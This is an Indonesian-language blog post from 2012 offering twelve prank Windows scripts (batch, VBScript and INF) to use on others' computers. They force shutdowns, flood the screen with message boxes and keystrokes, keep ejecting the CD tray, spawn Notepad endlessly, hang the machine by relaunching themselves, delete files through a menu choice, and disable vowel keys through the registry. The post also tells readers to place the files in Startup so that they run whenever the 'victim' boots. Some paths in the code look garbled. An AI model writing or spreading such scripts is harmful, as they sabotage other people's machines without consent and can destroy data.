Monday, February 13, 2012

#1# Membuat komputer Shoutdown sendiri

#################################################################
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
################################################################
Lalu save As dengan nama :Samsoftwae-cyber.bat type file : All file
*************************************************************************************

#2# Membuat Tombol Caps Lock menyala terus-menerus
################################################################
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
###############################################################
Lalu save As dengan nama :Samsoftwae-cyber.vbs type file : All file
[Tombol CAPSLOCK akan menyala terus-menerus]
************************************************************************************


#3# Membuat Pesan Jail mucul terus
#############################################################
@ECHO off
:Begin
msg * Assalammualaikum
msg * izin jail ya boy,
msg*cuma ngasih virus rendah doang
msg*cpu boy dah kena virus berbahaya
msg * biar masalah nya kelar
GOTO BEGIN
#############################################################
Lalu save As dengan nama :Samsoftwae-cyber.bat type file : All file
Script ini, walaupun di close tab pesan ini masih muncul, kata katanya bisa diubah sesuai selera boy
**********************************************************************************


#4# membuka Tutup CD/DVD room
#############################################################
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
#############################################################
Lalu save As dengan nama :Samsoftwae-cyber.vbs type file : All file
maka DVD/CD roomnya akan membuka dan menutup otomatis,


#5# Membuat script mucul terus menerus
#############################################################
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
#############################################################
Lalu save As dengan nama :Samsoftwae-cyber.vbs type file : All file


#6# Membuat Tombol Backspace menjadi eror - menekan terus menerus
#############################################################
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
#############################################################
lalu save As- dengan nama : samsoftware-cyber.vbs type file:All file
*********************************************************************************


#7# Cara Membuat menulis pesan dengan sendirinya
#############################################################
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "http://samsoftware-cyber.blogspot.com"
loop
#############################################################
lalu save As- dengan nama : samsoftware-cyber.vbs type file:All file
*********************************************************************************


#8# Cara Membuat Notepad Terbuka Otomatis - terus menerus
#############################################################
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
#############################################################
lalu save As- dengan nama : samsoftware-cyber.bat type file:All file
*********************************************************************************


#9# Membuat Notepad dengan Pesan Jail
#############################################################
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "sa"
WScript.Sleep 50
WshShell.SendKeys "la"
WScript.Sleep 50
WshShell.SendKeys "m"
WScript.Sleep 50
WshShell.SendKeys "du"
WScript.Sleep 50
WshShell.SendKeys "ni "
WScript.Sleep 50
WshShell.SendKeys " a"
WScript.Sleep 50
WshShell.SendKeys "cy"
WScript.Sleep 50
WshShell.SendKeys "be"
WScript.Sleep 50
WshShell.SendKeys " r"
WScript.Sleep 50
WshShell.SendKeys "d"
WScript.Sleep 50
WshShell.SendKeys " v"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "lz "
#############################################################
lalu save As- dengan nama : samsoftware-cyber.vbs type file:All file



#10# Cara Membuat Memilih jawaban
#############################################################
@echo off
title pertanyaan hari ini :)
:menu
cls
echo jika boy mengalami masalah..seperti kompi boy terkena virus.apa yang boy lakukan
pause
echo pilih yang mana:
echo 1. repair koputer
echo 2. instal ulang
echo 3. beli yang baru
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:xxx
if %input%==3 @ECHO off
msg * waduhhh
msg * kok jadi gini ya boy ?
msg * komputer boy terinpeksi virus luar negri
msg * cepet-cepet install ulang
msg * agar tidk merusak hadware yang lainnya
@ECHO off
:top
START %SystemRoot%
system32notepad.exe
GOTO top
#############################################################
lalu save As- dengan nama : samsoftware-cyber.bat type file:All file
*************************************************************************************



#11# Membuat Komputer Hang dengan Kode script Notepad
#############################################################
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
start cyber.bat
#############################################################
lalu save As- dengan nama : samsoftware-cyber.bat type file:All file
*************************************************************************************



#12# Cara Mematikan Tombol Keyboard
#############################################################
[Version]
Signature=”$Windows NT$”

[DefaultInstall]
AddReg =AIUEO

[AIUEO]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00,
17,00,00,00,18,00,00,00,16,00,00,00,00,00
#############################################################
lalu save As- dengan nama : samsoftware-cyber.inf type file:All file
Untuk menjalankannya :
> klik kanan nama file JAIL.INF dan pilih menu> Install

> Log Off komputernya agar trik ini berfungsi.

NB : Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard.
************************************************************************************

Untuk menormalkannya
#############################################################
[Version]
Signature=”$Windows NT$”

[DefaultInstall]
DelReg =normal

[normal]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”
#############################################################
lalu save As- dengan nama : samsoftware-normal.inf type file:All file
Untuk menjalankannya
Klik kanan file ini, pilih >Install
Log Off komputernya.





NB; jika boy mau yang lebih mantep,,,,,trik jail itu setelah menjadi file,,,simpan di startup
kenapa..? agar ketika sangkorban menyalakan komputernya..file jail tersebut langsung bekerja sendiri..

0 komentar:

Pengunjung

Followers

Featured Posts

Popular Posts

like fanspage